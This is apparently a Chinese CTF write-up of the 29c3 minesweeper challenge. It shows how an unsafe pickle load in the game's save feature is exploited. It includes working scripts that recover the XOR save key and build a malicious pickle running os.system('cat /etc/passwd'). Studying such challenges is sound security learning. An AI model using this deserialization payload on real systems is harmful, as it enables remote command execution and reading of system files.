29c3 CTF minesweeper

源码http://shell-storm.org/repo/CTF/29c3/Exploitation/minesweeper/minesweeper.py
参考文章http://www.blue-lotus.net/29c3-ctf-minesweeper/
通过python minesweeper.py启动游戏。用nc localhost 1024 开始玩游戏。
这是一个扫雷游戏,通过o 0:0 开启一个格子,通过s保存进度,通过l data加载数据。

29c3 CTF minesweeper_第1张图片
Screenshot from 2019-03-27 13-47-18.png

漏洞点是因为加载和保持数据使用了python的pickle模块。

    def load(self, data):
        self.__dict__ = pickle.loads(data)

    def save(self):
        return pickle.dumps(self.__dict__, 1)

调用pickle的loads函数时会根据__reduce__函数来创建对象。
该函数返回一个元组,元组包含2到5个元素,第一个元素是一个可调用的对象用来创建对象,第二个元素是一个包含参数的元组作为可调用对象的参数。

# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import os
import pickle
class Exploit(object):
  def __reduce__(self):
      comm = "cat /etc/passwd"
      return (os.system, (comm,))
payload = pickle.dumps(Exploit())

pickle.loads(payload)  #执行os.system("cat /etc/passwd")

游戏没这么简单。

elif line[0] in "lL":
        m = re_save.match(line)
        if m is None:
            return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
        msg = base64.standard_b64decode(m.group(1))
        tmp = ""
        for i in xrange(0, len(msg)):
            tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
        msg = tmp
        if msg[0:9] != "4n71cH3aT":
            return (True, "Unable to load savegame (magic)")
        h = hashlib.sha1()
        h.update(msg[9+h.digest_size:])
        if msg[9:9+h.digest_size] != h.digest():
            return (True, "Unable to load savegame (checksum)")
        try:
            f.load(msg[9+h.digest_size:])
        except:
            return (True, "Unable to load savegame (exception)")
        return (True, "Savegame loaded")
elif len(line) == 1 and line[0] in "sS":
        msg = f.save()
        h = hashlib.sha1()
        h.update(msg)
        msg = "4n71cH3aT" + h.digest() + msg
        tmp = ""
        for i in xrange(0, len(msg)):
            tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
        msg = tmp
        return (True, "Your savegame: " + base64.standard_b64encode(msg))

游戏保存进度和加载进度还会对数据进行处理。
加密数据的关键部分是XOR。
msg XOR key=tmp
msg XOR tmp =key
我们并不知道key,但是我们有其他2部分。得到key之后就可以构造payload了。
msg 来源于pickle.dumps(self.__dict__, 1)
self.__dict__是Field对象的属性。

def __init__(self, w, h, mines):
        self.w = w
        self.h = h
        self.mines = set()
        while len(self.mines) < mines:
            y = random.randint(0, h - 1)
            x = random.randint(0, w - 1)
            self.mines.add((y, x))
        self.mines = sorted(self.mines)
        self.opened = []
        self.flagged = []

通过源码我们可以得到大部分属性f = Field(16, 16, 20)
其实可以通过本地搭建环境,打印self.__dict__就知道里面有什么。
我们不知道的就是雷的位置self.mines,通关游戏就可以获得。
所以我们已经知道了self.__dict__,就可以知道msg的值了。
msg 和 tmp都已知可以求得key。
通关脚本,需要填入自己的mines和opened和cipher值。

# -*- coding: UTF-8 -*-
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os

class Field:
    def __init__(self, w, h, mines):
        self.w = w
        self.h = h
        self.mines = set()
        while len(self.mines) < mines:
            y = random.randint(0, h - 1)
            x = random.randint(0, w - 1)
            self.mines.add((y, x))
        self.mines = sorted(self.mines)
        self.opened = []
        self.flagged = []

f = Field(16, 16, 20)

mines = [(0, 4), (1, 11), (2, 3), (2, 11), (3, 1), (3, 2), (3, 3), (5, 6), (5, 10), (5, 11), (6, 7), (8,
14), (9, 5), (10, 10), (11, 14), (12, 0), (12, 12), (13, 5), (13, 13), (14, 0)]
f.mines=mines
opened = [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (1, 3), (2, 0), (2, 1), (2, 2)]
f.opened = opened
# print f.__dict__

key=''

cipher='YhOBmQvCYGQ5/oo2flxartigfTjPgvJZIJNDm6WqHQZY3Hf2l7jVN2nalR5hgTpkXg3hxvkad+wSC5gp6X0igqrN4gm50Q1k8aRRKZO8ncabxhVg1lKeCwbzky4Y1RdMyMzTNx3LEg22qnY6lwPlHk6IIOJLwiBE6V3IqXhXBy2+h0whi7niQ5llC8Tzfnyop8PFmvnYp6jfadW7SA9jH1c3zDDVc+oRfQdNQpW3iqvzZ1+69HPVTJUvndGkf5Z8wwQwSb4iZbK94BPz57kpd8tCvAXBVE6+hieTa3r0mkJMEMpUYIryRRN3eLne0WGWh7rg6pURmLiP88Xsr/koSOtogoGnbwm9d9RrdBi7c8UaytzNS/Omywlx0sCF4ecxgcuYD3FvgLNFIB4lGYPGg7Wnpw2zHZhtckjOHxursF2xKjNv82qKeZ6TT4EZ0KWIz3+pXg=='

msg1 = base64.standard_b64decode(cipher)

msg2 = pickle.dumps(f.__dict__,1)
h = hashlib.sha1()
h.update(msg2)
msg2 = "4n71cH3aT" + h.digest() + msg2
# 求 key,用msg 异或加密后的数据
for i in xrange(0,len(msg1)):
    key += chr(ord(msg1[i]) ^ ord(msg2[i]))
print key


#构造payload,在游戏中输入l payload
class Exploit(object):
  def __reduce__(self):
      comm = "cat /etc/passwd"
      return (os.system, (comm,))
payload = pickle.dumps(Exploit())

h = hashlib.sha1()
h.update(payload)
msg = "4n71cH3aT" + h.digest() + payload

pp=''
for i in xrange(len(msg)):
    pp+=chr(ord(msg[i])^ord(key[i]))
print base64.standard_b64encode(pp)

你可能感兴趣的:(29c3 CTF minesweeper)